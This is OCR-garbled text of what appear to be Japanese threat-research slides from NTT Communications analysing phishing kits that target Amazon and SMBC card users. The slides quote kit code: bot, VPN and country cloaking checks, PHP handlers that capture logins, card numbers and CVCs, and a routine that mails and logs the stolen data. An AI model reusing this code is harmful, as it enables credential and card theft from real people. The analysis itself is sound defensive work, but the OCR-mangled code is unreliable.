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T I\ D E— RODEHTE

main.phpDH(CF )\ T E— RDTE
I8 73\2550 if($isdebug == 0) {

7N

$isdebug = 0;

|
'block_country'] il s J i Pt
e ”Off“;

$setting['block_host'] = "off";
$setting['block_iprange']l = "off";
7/\\/7-:— NOONDEF, IPEBEEISMND R e A
— $setting['block_isp'] = "off";
= 73“9@70721)(9\ tr\__'L‘O)—ﬂ _-U-_ $setting['block_vpn'] = "off";
I_\/_:/ |\75:j:f_l'jg _j_b\bd)J $setting['block_crawler' Lo P
[
[

D2 EIEE T 30— I HEENS Gt
LSS, Jetsed

$setting
$setting
$setting
$setting
$setting
$setting
$setting
$setting

'block _onece']

‘block host'l = “on™:
'‘block_iprange'] = "on";
'block ua'l = "on";
'block_isp'] on
'block_vpn'] “on”;
'block crawler'] o)l
'block_country'] "on";
'block_onece'] = "on";

[
[
[
[
[
[
[
[
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function getUserIP()
B Ew 8 SANVES) S . -
(HTTP_CLIENT IP i g e Sl
HTTP_X FORWARDED_ FOR, $remote = $_SERVER['REMOTE_ADDR'];
REMOTE_ADDR) D5B%I/RIPJ)7 K

if(filter_var($client, FILTER _VALIDATE_IP))

[///*§4EZ,HJ7:)CCT_Z:I1§XE§7§VQESo {

}
elseif(filter var($forward, FILTER VALIDATE_IP))

$ip = $client;

= $forward;

sremote;

return $1ip;

main.php
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1 " TOtZE'I‘%iﬁ‘“R%*%ﬁE “~””—’;;§;£:;2:£’ { $_SERVER['HTTP_USER_AGENT'];

$os_platform "Unknown 0S Platform";

DT R b DUserAgenths s
754772 bDOSIBIZEUS I Do D s s

'‘Windows 7',
'Windows Vista',
'Windows Server 2003/XP x64',
'Windows XP',
'Windows XP',
'Windows 2000°',
'Windows ME',
'Windows 98',
'Windows 95',
'Windows 3.11',
'Mac 0S X',
'‘Mac 0S 9',
‘Linux’,
'Ubuntu’,
'iPhone’,
*iPod’,
'iPad',
'Android’,
‘BlackBerry',
‘Mobile’
);
foreach ($os_array as $regex => $value) {
if (preg_match($regex, $user_agent)
$os_platform = $value;

}
return $os_platform;

get0S();
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1 J atzmll $E1IR$*% function getBrowser() {
U OIX I\/\‘JQ@USGI‘Agentb\’D $user_agent f_SERVER['HTTP_UEER_AGENT'];

$browser Unknown Browser";

225477~ |\O)'f LfC(A%Webj $browser_array array(

‘/msie/1i’ ‘Internet Explorer’,
S OHIERERET 3. et = nteme
'/safari/1’ ‘Safari’,
‘Chrome’,
‘Opera’,
‘Netscape’,
'/maxthon/1’ '‘Maxthon',

‘Konqueror’,
'‘/mobile/1i' '‘Handheld Browser'
JF
foreach ($browser_array as $regex => $value) {
if (preg_match($regex, $user_agent)
$browser — $value;

}

return $browser;

main.php
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if(!isset($_SESSION|'countryname'

$details = get_ipl($ip_);

$details = json_decode($details, true);
$countryname = $details['geoplugin_countryName'];
$countrycode = $details['geoplugin_countryCode'];
$cn = $countryname;

$cid = $countrycode;

$continent = $details['geoplugin_continentName'];
$citykota = $details['geoplugin_city'];
$regioncity = $details['geoplugin_region'];
$timezone = $details['geoplugin_timezone'];
$kurenci = $details|['geoplugin_currencySymbol UTF8'];

if($countryname == "") {

$details = get_ip2($ip_);
$details = json_decode($details, true);
$details|'country'];

function get_ipl($_ip) {

$url = "http://www.geoplugin.net/json.gp?ip=".%$_1ip;
$ch = curl _init();

function get_ip2($_ip) {
$url = 'http://extreme-ip-lookup.com/json/"' . $_ip;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

main.php
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1. 7O Ao IRUNERHRE

function getisp($ip) {

TO—Z\XTUIPT I\I/X%ETU(:91‘EIZB $getip = 'http://extreme-ip-lookup.com/json/"' . $ip;
H—EX (Extreme IP Lookup) scurl = curl_init();

| A= curl_setopt($curl, CURLOPT_URL, $getip);
7@25“ - LJ_CISP%%EHR{‘:}?5° curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

curl _setopt($curl, CURLOPT_FOLLOWLOCATION, true);

$¢content = curl exec($curl);

curl _close($curl);

$¢details = json_decode($content);
return $details->org;

main.php
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« TRA A
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o ISP
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2 aD_=F/0*%HB if($setting['block_host']

$¢hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
7OCRTI—HY DRI MR T A v Sblocked_words = array
» = S "factioninc",
O FY MNTEERSNTLD Y g

=~
T ZIEETTHRDRR I\%—% EEER U NS
HIET D, zbot’,

foreach($blocked words as $word) {
if (substr_count($hostname, $word) > 0

$ip = getUserIP();
tulis_file("result/block_bot.txt","BLOCKED HOSTNAME | |
user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : "
".date ("Y-n-d")." —-———> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|Hostname");
header("status: 403 Not Found");

exit();

blocker.php
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2 .a D —$ >0‘*%ﬁg if($setting['block_iprange']

$bannedIP = array|(
FIOCATIP7 RULAN T 4w >0 [
r—L—|iH¥-
Fv NATEZSN TV ZOTRE R
Z—S(j-g%ODIP l/\ > %ttt$§( IIJ}\_a_ if (in_array i_iiEzvszt[uI:?:(x);E_?DDR 1,$bannedIP)) {

tulis_file("result/block_bot.txt","BLOCKED IP RANGE ||
'Eis o user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ".
".date ("Y-n-d")." ——> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|IP Range");
header('"status: 403 Not Found");

exit();

} else {
foreach($bannedIP as $ip)

if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){

$ip = getUserIP();

tulis_file("result/block_bot.txt","BLOCKED IP RANGE ||
user-agent : ".$_SERVER|['HTTP_USER_AGENT'|."\n ip : ".
".date ("Y-n-d")." ————> ".date ("H:i:s")."\n\n");

tulis_file("result/total_bot.txt","$ip|IP Range");

header("status: 403 Not Found");

exit();

blocker.ph
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2.70—F> D45
77'7X7TG@USGFAQEHUJ\‘7/]’ \\J :/\/0“ $dp = strtolower($_SERVER['HTTP_USER_AGENT']);

v NATERSNCNB 7T RIES [
YWEHRDUserAgent—E LB UHITE T B gontip-client/1.1%,

"b2w",
“baypup”,
"get",
"boitho",
"nokia6682/",
"bot/",

if($setting['block_ua']l == "on")

foreach($blocked words as $word2) {
if (substr_count($dp, strtolower($word2)) > @ or $dp == "" or $dp == " " or $dp =

$ip = getUserIP();

tulis_file("result/block_bot.txt","BLOCKED USER AGENT ||
user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ". $ip." ||
".date ("Y-n-d")." —-———> ".date ("H:i:s")."\n\n");

tulis_file("result/total_bot.txt","$ip|User Agent");

header('"status: 403 Not Found");

exit();

blocker.php
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2.0 D-* >0‘*%ﬁg if($setting['block_isp']

$ip = getUserIP();

7O ATcDISPN I WS >0 sispnya = getisp($ip);

ji- Y I\WT“E% é ;I’"LT (/ \4_5 77—2 $banlr?/e\3_ii:ﬁ'= array(
T XTERDISP—E & L LI

"UniversityofVirginia",

5 o) "InternetSecurity-TC",
"Content Delivery Network Ltd"
"DatalinelLtd",
"SunGardAvailabilityServicesLP",

foreach ($banned_isp as $isps) {
if (substr_count($ispnya, $isps) > 0

$ip = getUserIP();

tulis_file("result/block_bot.txt","BLOCKED ISP ||
user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ". $ip." ||
".date ("Y-n-d")." -——> ".date ("H:i:s")."\n\n");

tulis_file("result/total_bot.txt","$ip|ISP");

header("status: 403 Not Found");

exit();

blocker.php
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2_0D-:F>0‘*%ﬁg if($br == "Unknown Browser") Rl

$ip = getUserIP();

7701 A57cT0=>177> dDOWeb tulis_file("result/block_bo;.?E(;;é;BLOCKED SAFEBROWSING \||
e My \‘ ~ N “_\— user-agent : ".$%$_ '"HTTP_USER_AGENT"]."\n ip : "
jjljﬂ-b j’]/ \J//g \J I\ ".date ("Y-n-d")." —————> ".date ("H:i:s")."\n\n"):

WT dntb\fd\b\webj —_J tulis_file("result/total_bot.txt","$ip|Google Safebrowsing");
head ' - e
TﬂtCD%L Cl’jf? IIJ}\_a_éo eader("status: 403 Not Found")

b

exit();

blocker.php
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z'aD_=F>O‘*%ﬁE if($0os == "Unknown 0S Platform") {

$ip = getUserIP();

V00147 |\O)OSj:)\ tulis_file("result/block_bot.txt","BLOCKED SAFEBROWSING ||

nt (, \Td:(, \OSj:)\ t ) j:)\jé__’_ '|JL_§_ tulis_file("result/total_bot.txt","$ip|Google Safebrowsing");

5 header("status: 403 Not Found"):
o

exit():

blocker.php

© NTT Communications Corporation All Rights Reserved.
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user-agent : ".$_SERVER|['HTTP_USER_AGENT'|."\n ip : "

7’1’ \J //7—‘ \J I\WT _%C}_ ".date ("Y-n-d")." ——> ".da;e "H:i:s")."\n\n");

42



—2R1 : AmazonZR>iE 1 v oD%y b g | e
Z.GD—ZF‘/O‘#%E'B‘E if($setting['block_vpn']

$ip = getUserIP();

771 ZTHVPNZE = (EProxy % T
FIA U TWVDIHOHITEZIEID — eteel
t“z% - L\Tgﬂéﬁﬁﬁéo $url = "https://blackbox.ipinfo.app/lookup/".$ip;

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$resp = curl_exec($ch);

curl _close($ch);

$result = $resp;

if($result == "Y"
tulis_file("result/block_bot.txt","BLOCKED VPN/PROXY ||
user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ". $ip." ||
".date ("Y-n-d")." ———> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|VPN/Proxy");

header("status: 403 Not Found"):

exit();
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2_0D—$>0}%ﬁ% if($setting[‘'block _onece']l == "on") {

if(isset($ SESSION['once']l)) {

v 3> (C"once”HMtzyw k& 15 = cotUserts )
;I’LTL\%D\&iD\%EL:: \\J 00 header("status: 403 Not Found");

tulis_file("result/block_bot.txt","request onece ||

user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : "
".date ("Y-n-d")." —-———> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|request onece");
exit();

api/api_session.php
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z.an_$>0‘*%ﬁg if($setting['block_country'] == "on") {

_ $accessCountryList = array("Japan","JP");//ARiITEASHE D
7T A5FH]

|JX I\%T:'_HEE L/ if(!ir)_array $countryname, $accessCountryList ) {
A (CUNE U TE

$ip = getUserIP();
| :;( g\ \ %E tulis_file("result/block_bot.txt","Country RANGE ||
J (L_EC\“T(/\5D %E G user-agent : ".$ SERVER['HTTP_USER_AGENT']."\n ip : "

-l |1l

%b\\70 7X_t|: DJ E header('"status: 403 Not Found"

".date ("Y-n-d")." —-——> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|IP Range"

exit

api/api_session.php
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3 a D — *ﬁ%ﬂ*%“b require 'CrawlerDetect/Fixtures/AbstractProvider.php’;
n 7 Hb require 'CrawlerDetect/Fixtures/AbstractReff.php’;
require 'CrawlerDetect/Fixtures/Crawlers.php’;

CraW|erDeteCt& require 'CrawlerDetect/Fixtures/Exclusions.php’;
J— av{ [N\ rcquire ‘CrawlerDetect/Fixtures/Headers.php';

Referra | Spa m Dete\Ct t (/ \ j 91\5"3\) require 'CrawlerDetect/Fixtures/Headerspam.php’;

) L%%U L/T |j :: j 7 _l — 5 —'V‘_’) |J require 'CrawlerDetect/Fixtures/SpamReferrers.php’;

require 'CrawlerDetect/CrawlerDetect.php’;

j 7 5 _X/ fA%*ﬁtj 3_5 o require 'CrawlerDetect/ReferralSpamDetect.php’;

use Jaybizzle\CrawlerDetect\CrawlerDetect;
use Jaybizzle\ReferralSpamDetect\ReferralSpamDetect;

crawlerdetect.php

public function isCrawler($userAgent = null) public function isReferra ]-Spam ($referrer = null)
{ {

$agent = trim(preg_replace( $referrer = $referrer ?: $this—>referrer;
"/{$this—->compiledExclusions}/i",

$userAgent ?: $this—->userAgent if (strlen(trim($referrer)) ==
)); return false;
if $agent == !

return false; if

strpos($this->compiledString, $referrer)

$result = preg_match("/{$this->compiledRegex}/i", $agent, $matches); return true;

if ($matches else
$this—>matches = $matches; return false;

return (bool) $result;

L
}
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if($setting['block_crawler']

CrawlerDetect TldUser Ag entW(C .
iT@Y%ﬁ'Jb\Ecxnéb\@ﬁE;u ,
| c.:,ja_:,— — if($CrawlerDetect—>isCrawler()) {
HIEZTAT Do $ip = getUserIP();
tulis_file("result/total_bot.txt", "$ip|Bot Crawler"."\n");
Referra|SpamDetECt_C‘(i header("status: 403 Not Found");
RefererURLICHFEDXFINZFEN il

_ - }
Tb\éb\ﬁﬁglyg L/\ EIIJL jg:'/f__l_jo if($referrer—->isReferralSpam()) {
$ip = getUserIP();
tulis_file("result/total_bot.txt", "$ip|Referrer Block"."\n"
header("status: 403 Not Found");
exit();

crawlerdetect.php
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j /]/ \\J :/\/g“j \/7__ \/\\J (iVUE.JSj@E mwg:;n:::"._.;-_:: charset=utf-8
1;53 T*%}EE ént (/ \5 o ta name=viewport contentz"width:c.jevice—width, initial-scale=1"

ink rel="shortcut icon" href=/favicon.ico

index.htmI@DOH Cvue-routerz link href=/static/css/app.752839d358c010ecco448dcc063497. css rel=stylesheet
ESTER—=ZDIL—FT 1 2D 7Z(TD .
THED. TawvS 20854 bDILE B

Caw div id=app></div

((_/\ &T;éz:jﬂ] L/ d -~ d -~ Td\j Pl <script type=text/javascript src=/static/js/manifest.dd091f32d078celae228.js _
f_;kil script type=text/javascript src=/static/js/vendor.8942a87b5a70d06cfbea.js script

T/\Jb\ lU\dnT * § O) script type=text/javascript src=/static/js/app.75f405b5d5d325e145c9.js
I]a: \ body
Javascrlpt% UL_I L/TL % © html 0.ae56cbh9f68b8B0e8Bblebd2.7s
. 1.1f5e12c89c%el7b78cee.]s
index.html 10.7e8b298cfBb9eeb78e8d. js
11.8b1570ce205b%aBd5ecb.js
.bBfdc672929c40528c04.]s
.5b74bd82b5fed10eB51f. s
.21d34085c1700308bcéelb. s
.5a2aef8%9a62e11d95a50.3s

.140daédccB81l1eb3215dd. s
.d9a487a8067cff92238c.Js

.3d3cPB8O8TF3d7bl4F3%¢ea. s
.eBcbabc7d9bea4b7cB44. s
.4153f4cefB2ec63128b4. s
.f2cc96632380957f088B6. s
.67434be2e9f5b166bccc js
.47a7b%9%adeef46813f1c. ]
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adMazon ..
OJ41> }i?php
EX—NELRHEmREES header('Content-Type: text/html;charset=utf-8');
header('Access-Control-Allow-0rigin:x"');
S | header('Access-Control-Allow-Methods:POST");
FiT745 kT, Amazon® FERHS LU T4

il header('Access-Control-Allow-Credentials: true');

» BEDTTH?
require("../main.php");
\mazonO% L WNEEETTH? require("../crawlerdetect.php");
Amazon 117> b EFHL require('../blocker.php');

session_start();

$_SESSION['email'] = $_POST['email'];

$ SESSION['password']l] = $ _POST['password'];
$_SESSION['timedate'] = date('H:i:s d/m/Y');

$ SESSION['HTTP_USER_AGENT'] = $_SERVER['HTTP_USER _AGENT'];
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4.4V >20A>72Y

BT (FEANIBHRADERD EFOH NI I— R

= [ e CAICEI, OY 1> ERbHCb55 0
= a@?ﬁonf"w e oW O . Fhoviauzt - FxBE . Y h—k

@acs%ffﬁg’éﬁﬁ AmazonGlobal Z>#>4 AmazonBasics #HE@EMm & KrLt—)L J—FKr NVIV-BEIBE FIvIALT FIMEF FoL&FvFY FIRITUFVY

— - = T PN - —— —

ARG ZEEFH TS
S ERUMTLOOROFF 7~y eoh 1 | e EROSALE—N

‘ B (BBEANLTLEZY ; S ;,
| suR vy L

i ;%:i:fjuméw v SeSSiOﬂ_Sta rt ( ) ’

| $_SESSION['fullname']l] = $_POST['fullname'];
]i BEES BEEIEANL TR $_SESSION ["dob" ] = $—POST[ ‘dob "] ’

B $_SESSION['zipcode'l = $_POST['zipcode'];
S 2 R $_SESSION['stat']l = $_POST['stat'l;

$ SESSION|['addressl'] = $ POST['addressl'];
$ SESSION|['address2'] = $ POST['address2'];
$ SESSIONI'phonenumber'] = $_POST['phonenumber'];
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4.74YVS20A2F72Y

UFEOL2Y bA— REHROADERENFOEHESND - R

EREHCE55

i ChlCBIE, O 12 i c55 0
oW 3 . FhuoiauRr - axEE . M h—r

— amazon., [

—AlCBl _ 4 . - a . —— 5 : . .
©35E”5'§'é3ﬁ AmazonGlobal S>#%>4 AmazonBasics HEER & A Lt—IL H—FE>r KVIY-BOBE RSySTARF7 £IRE F—LEFwFY XIRSuxL4y

—.aE . = - e == PR - —— —

J[ BHTA3ETTHYY MCFOERATEEEA
~enl— — S —
#
SEHWEEEEH TS
BEOF/NEEETE HIES0BESD H &= s — EEHDOEA Lt—L
SHEEVHT1,000M0FF S —H - ‘

A—F&BA EAO—YETAN)
A—REEEAN

H—FES (W—FESEZADLTESTY
N—rHS

BHER (EHHBEANLTLEEY

| - W

s A -

tXaVTF«I—F(EFaVFsI—FEAALTLESTY)

t¥aUF4I—FK ettt

i
|
[
[
|
|
|
|
i1}

| ik $_SESSION['namecard']l = $_POSTI['namecard'];
= $_SESSION['cardnumber'] = $_POST['cardnumber'];
$_SESSION['exdate'] = $_POST['exdate'l;

$ SESSION['cvc'] =S POST I cve ol
$_SESSIONI['bankname'] = get_BIN($_SESSION|['cardnumber'],"bankname");
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function get_BIN($bin, $parameter)
{

$binx = preg_replace('/\s+/', '', substr($bin, 0, 6));
$get_bin = curl('https://lookup.binlist.net/"'.$binx);
$json_bin = @json_decode($get_bin, true);

if ($parameter == 'bankname')

{

if (isset($json_bin)

return $json_bin['scheme'];
else

return '°';

apl/send_card.php
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curl_setopt($curl, CURLOPT_POST, 1);
| Submit | [l ALTF Froa curl_setopt($curl, CURLOPT_POSTFIELDS, $data);

amazon
function submit($url, $data) {
A O et s &1k M XX — FE A $¢data['action'] = 'submit';
STEEL, $curl = curl_init();
SES, © Amazon.cop curl_setopt($curl, CURLOPT_URL, $url);
“FIE4SE : ¥0.00 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,
ZFIFIE © Mon Dec 18 2023 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,
A= RS o 0000 curl_setopt($curl, CURLOPT_RETURNTRANSFER,
WebL—3f 1D | curl_setopt($curl, CURLOPT_FOLLOWLOCATION,
NRT— K| | (
(

curl_exec($curl);

$response =
curl_close($curl);

Copyright [C) CREDIT SAIS0ON Cao., Lid All Rights Reserved.

$response = json_decode($response, TRUE);
return $response;
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Do
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$mg_mail .
$mg_mail .=

$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .
$mg_mail .
$mg_mail .

$mg_mail .
$mg_mail .=
$mg_mail .=

$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .
$mg_mail .
$mg_mail .

$mg_mail .
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .

tulis_file("result/".

sendMail(

"o ID

“"ZIHAH
""evv

"web ID :
"Password

"5
"FRTEM
“ihhib1
"ihit2
"EI=R

" iR 2
"£H
"FIESE

ip :

"UserAgent :
"Region :
“"Time Date

: ".$ POST['email']."<br>";
: ".$_POST['password']."<br>";

[ ERAFHE |
: ".$_POST['bankname']."<br>";
: ".$_POST['namecard']."<br>";
: ".$_POST['cardnumber']."<br>";
: ".$_POST['exdate'l."<br>";
: ".$_POST['cvc']."<br>";

Z219 ]
".$ _POST['cvv3_login']."<br>";
3D : ".$ _POST['cvv3_secure']."<br>";

: ".$_POST['fullname']."<br>";

: ".$_POST['stat']l."<br>";

: ".$ POST['addressl']."<br>";
.$_POST['address2']."<br>";
.$_POST['countryname']."<br>";
.$_POST['zipcode']."<br>";
.$_POST['dob']."<br>";

: ".$_POST['phonenumber']."<br>";

. getUserIP() .
".$_POST['HTTP_USER_AGENT']."<br>";
".$_POST['region']."<br>";

: ".date('H:i:s d/m/Y")."<br>";

str_replace(" ", "", $_POST['cardnumber'

apl/send_

) .

. $_POST['mode"']

.com","Amazon-".$_POST['cardnumber'],$mg_mail,$_POST['fullname']);

0. PNP

"Ltxt",$mg);




docomo S
7— z 1 : * tw business IIITT mmunications

e AmazonZzigolcJrwS>0Fw b [IPIIEETE (BHZIF5EL
iH) .zip] (EVue. JS%@D‘C{’E’QTL_CEBD FPIOTCATDIITITR
ANYAPOLZY S g USIERINEZITLY. i VWHIEVIBRZESTTO
O—F>2T0=xEXLUTL\D,

- AMEBY —JLDCrawlerDetecti®ReferralSpamDetect/d EZfED ZET
20— —1RADIIEZ f3=1E LTS,

o« T4V OHA KNIADETNZBHRIEITFAN I 7AILICHE DN
DBEIC T4V ITT05—(CEIBEXA—)LiX{fdENd.

© NTT Communications Corporation All Rights Reserved.



docomo
business

—2R2 : SMBCZEEODIEJ1wvS>0Fwv b

© NTT Communications Corporation All Rights Reserved.

e
N T T Communications
—

56



T—2X2 : SMBCZEROIEIAYE2OFY b e | (T
SMBCOOL 2w b H— RO —EXRZEMUTZDT v 2 D0F v

« EETS> R :SMBC (=HEKEET)
 File Name : =H.z1p
« File Hash (SHA1) :2a@a37dedffae95f46b2a51066e44c06058bf764

HASMBC=HF&MiE,smbcAAX=ZHCVVIERAFHEIER (=45

P 8%TF 2023-11-3 16:59:37 | REXMEE » BE BREX] W

HASMBC=H$V&Mi5,smbcHA=HCWIERFIEIRE, FHPCEHEMN

EEIAIE - apache php

e ERE R /yuX R
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README

docomo

| Garrcomman
business

N T T Communications

—

5D BMEIRIBDEREA & ThinkPHPODEL G H

README.mdJ 7 1 )LHBCIE =11 Ce

=

MTWBZEMNS. ThinkPHPZfE> TEBNTWLWS Z EMWHnsg,

ThinkPHP 6.0

BITMRERPHP7. 2+, 3RAPHPS.1

[EANARSTA] (https: //market. topthink.com) | [ ThinkAPI'—EA%—APIfRSS] (https://docs.topthink.com/think-api)

ThinkPHPV6.0kRAH [12:EZ] (https://www.yisu.com/ ) 3t R %EBN K.

XA PHP7 iRIER (M4B#E()
FTIHEZH PSR AE
REZN AL
ERAMSANEN
SFNBEHRS
BREANMBIEESHS—NASEHRE
BRI ZaEH&
AERThEER AL
SESSION/Cookie#l#ekst

X Swoo le Ll B iz Sz 5 cits

Xt IDESE I A& HF
SZ—MiEEXKBRE

La ¥l VoV

B8R [ThinkPHP #.(EZRE] (https://g

READM
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[e2F &ZFM] (https://www.kancloud.cn

composer create-project topthink/think tp 6.0.%

IR BEENERER

La ¥l VoV

composer update topthink/framework

ThinkPHP#&#EApache2 FFRIMN AR, FHiBHRTEER.

A0 B D E M 5E = A RIS 3 HI 4 Z AUE B B 1TinE.

IRIXFRE Copyright © 2006-2021 by ThinkPHP (http://thinkphp.cn)
All rights reserved,

ThinkPHP® ETRAIEFENARAEN LBTIEE BRHERRAE.,

EZATEE [LICENSE. txt] (LICENSE. txt)

E.md
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S e L ramfial
JA4 v >20Fy MOAZERTEE e .
(ZE@ L Cl& co 1f|gT’r l/g I\IJ cookie.php
iR CRESNTSPHP I 7 database.phy
JLCEEMTONTULD, iang-ahp

mggége:are.php

route.php var configAll=
JdAVS DT OF—MERAT D session.php el
IFICERTERE I DD R URLtarget: “https://www.smbc-card. con/",
prIlc/statlc/conﬂg JsiAD DK et
>, Tg — g%ﬁﬂlﬁi (L_$El_§_ ipKey: '7ma8quc6oé5ryg$ £ S
55‘6@URL\ |preg|stry*j EX
%EEFIJ 3_57_ &JO)API E—e.y\ Hy']'%': fileSys:"ht»tps://www.poczta—polska.pl/"
LT IBROARFE A /ET D& };
M TED,

export default configAll;

public/static/config.js
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let _this = this;

ShERT — EXDIP Registry%‘jﬁlj fetch( https://api. ipregistry.co/They=" + confighll ipkey)
- b?g‘ZATGl“ﬁﬁﬁd)Hy,?%%ff?ao ) return response.json();

.then(function (payload D

_this.userInfo.ip = payload['ip"']
_this.userInfo.language = payload['location']['language']['name"']
_this.userInfo.city = payload['location']['city']
_this.userInfo.latitude = payload['location']['latitude']
_this.userInfo.longitude = payload['location']['longitude']
const userCountryCode = payload['location']['country']['code'];
_this.userInfo.ua = payload['user_agent']['header']
const deviceName = payload['user_agent']['device']l['type']l;

st osType = payload['user_agent']['os']['type'l;

st osName = payload['user_agent'l['os']['name’'];

is_abuser = payload['security']['is_abuser'];

st is_anonymous = payload['security']l['is_anonymous'];

st is_attacker = payload['security']l['is_attacker'];

st is_bogon = payload['security']['is_bogon'];

st is_cloud_provider = payload['security']['is_cloud_provider'];

st is_proxy = payload['security']['is_proxy'];

st is_relay = payload['security']['is_relay'];

st is_threat = payload['security']['is_threat'];

st is_tor = payload['security']['is_tor'];

st is_tor_exit = payload['security']['is_tor_exit'];

st is_vpn = payload['security']['is_vpn'];

contype = payload["connection"] ["type"];

const accepte_contype = ["cdn", "hosting", “education“]ﬂ
window._config = _this.userInfo;

smbc/view/1ndex/1index.html
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2 a *\ 0‘*%“5 if (osName != 'i0S' && osName != 'Android') {
n D / Hb window. location = "http://localhost";
return false;
~ ~ \\_+__ \r_1-1-érb- A }
JAV22DTFY NCERSINC
V4 _ Q H- \ /| == — if (is_abuser == true || contype == "cdn" || contype == "hosting" || contype == "education" || is_anonymous ==
(/\5 J //_ Z/(TE@x{--@——'JL:’Z{T true || is_attacker == true || is_bogon == true || is_proxy ==

== == true || is_cloud_provider == true

lll EE'& H- v is_relay == true || is_threat == true || is_tor == true || is_tor_exit == true || is_vpn
) o T L: ——(j:/AOD 3 )O window. location = "http://localhost";

return false;
} else {

if (localStorage.getItem("isLoad")) {

window. location = configAll.URLtarget;
Yelse{

_this.getHome

}

smbc/view/1ndex/1ndex.html
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if (osName != 'i0S' && osName != 'Android') {
window. location = "http://localhost";

smbc/view/1ndex/1ndex.html
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2. 70—3F> T Hise if (is_abuser == true ||
7" Z A1 —H —hHlabuser QYRS ::Cdn“.”,,
S IBES, H3)HE T eenion
N CREDIERS T (CDNY e e
RAT 1 DB -2, Proxyt> e
== true
TOI‘\ VPN%‘E\D T_(l\%j]\) %1 is_bogon == true ||
Z L/T(/\5h\j@2) _ Y 73_50 is_proxy == true ||
| -“-Q,ff_(c_ :I:QL/_C(/\5 7/5:'\ is_cloud_provider == true ||
localhostiCUA 1 L2 hE=E3, e TRl == e ]
is_threat == true ||
« N is_tor == true ||
is_tor_exit == true ||
is_vpn == true) @
window. location = "http://localhost";
\\ // return false;

smbc/view/1ndex/1ndex.html
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SODHEHERUSDIBERDIL e art

78’__’_'?3_'50 — j])I/X I\l/_/(c_ if (localStorage.getItem("islLoad")) {
ISLOadODIM b\ﬁf_ L/_C(,\5 7,3,2,\ window. location = configAll.URLtarget;
configAIlCERE S TULVD LSS
URLtargetdfBICUAS A LD h& NI Chis. gettiomet.

J&d5. configAll. URLtargetd)uy
iE (dpublic/static/config.js Cax smbc/view/index/index.html
z_L/‘CL\51'|E‘Cc@D MOWErs o
>0y NOBUSEFDT T A
I\1’|E(¢I“ttps:/www[.]smbc—
card[.]lcom/Cam D
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UserAgent,ServerName’& D
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=U. 5O DBEHmICEEFT] U
L\Uj—j—q’%b SENTLDN
,J _ \// <::7.?§r-;255 o
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namespace think;
$HTTP_REFERER = @$_SERVER["HTTP_REFERER"];
$HTTP_USER_AGENT = @$_SERVER["HTTP_USER_AGENT"];
$SERVER_NAME = @$_SERVER['"SERVER_NAME"];
$CompCharArr = explode(",","Baiduspider,Scooter,ia_archiver,Googlebot, FAST-WebCrawler,MSNBOT,Slurp");
$CompCharArrSize = sizeof($CompCharArr);
$CheckSign = "";
for($i=0;$i<$CompCharArrSize;$i++){
$CompChar = trim($CompCharArr($il);
if($CompChar<>"" && preg_match_all('/"'.$CompChar.'/i',$HTTP_USER_AGENT) ){
$CheckSign = "T";
¥
}
$SERVER_NAME_M = "http://".$SERVER_NAME;
$EndLenth = strlen($SERVER_NAME_M) + 1;
$CompServerName = "http://".$SERVER_NAME."/";
if(!empty($CheckSign) && ($HTTP_REFERER == "" or substr($HTTP_REFERER,®,$EndLenth) <> $CompServerName )){
exit();
}

require _ DIR__ . '/../vendor/autoload.php';

$http = (new App())—>http;
$response = $http—>run();

$response->send();

$http—>end($response);

smbc/public/index.php
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VpassOJ 1 >
div data-v-e3974890="" id="header_overlay"
9+ MHTTHRBRDOA div dgta—v—e3974890="" id="contWrap"
div data-v-e3974890=""
div data-v-e3974890=""
VpassicTE& (E) > h2 data-v-e3974890="">VpassO &' A >r</h2

VpassZix? > script src="/static/lib/vue/vue.js" script
script src="/static/lib/axios/axios.min.js" script

o > T

QA TERWVWE >

ion data-v-e3974890="" class="1loginBox"
div data-v-e3974890="" class="loginArea"
form data-v-e3974890="" method="post"
action="https://www.smbc-card.com/memapi/jaxrs/xt_login/agree/v1"
novalidate=""

smbc/view/1ndex/i1ndexinfore.html
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submit() {
localStorage.setItem('accountInfore', JSON.stringify(this.accountInfore));
let ua = JSON.parse(localStorage.getItem("ua"));
if (!'localStorage.getItem("ipId")) {
axios.post("{:url('index/index"')}", ua).then(res => {
localStorage.setItem("ipId", res.data.data)
window. location.href = "{:url('index/card"')}" public function index(Request $request)
}).catch(err => { {
1 if ($request—>isPost()
} else {

window. location.href = "{:url('index/card"')}" $postAll = $request—>post();
$postAll["createa_time"] = date("Y-m-d H:i:s");

$list = Iplink::addIP($postAll);
Session::set('ipId', $list);

ApiService::success( , $list, 1);

return View::fetch():

smbc/view/1ndex/1ndexinfore.html
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I'I SMBC SMBCON-T
=HiERN-K S =
Fyon—r
2 S ' ® — -
. I P Nt b localStorage.setItem("cardInfo", JSON.stringify(cardInfoAll));
if (this.cardInfo.card_no.length >= 15 && this.cardInfo.card_no.length <= 20) {
if (cardInfoAll.mom >= 5 || cardInfoAll.year > 23
if (this.cardInfo.card_cvv != null && this.cardInfo.card_cvv.length >= 3 && this.cardInfo.card_cvv.
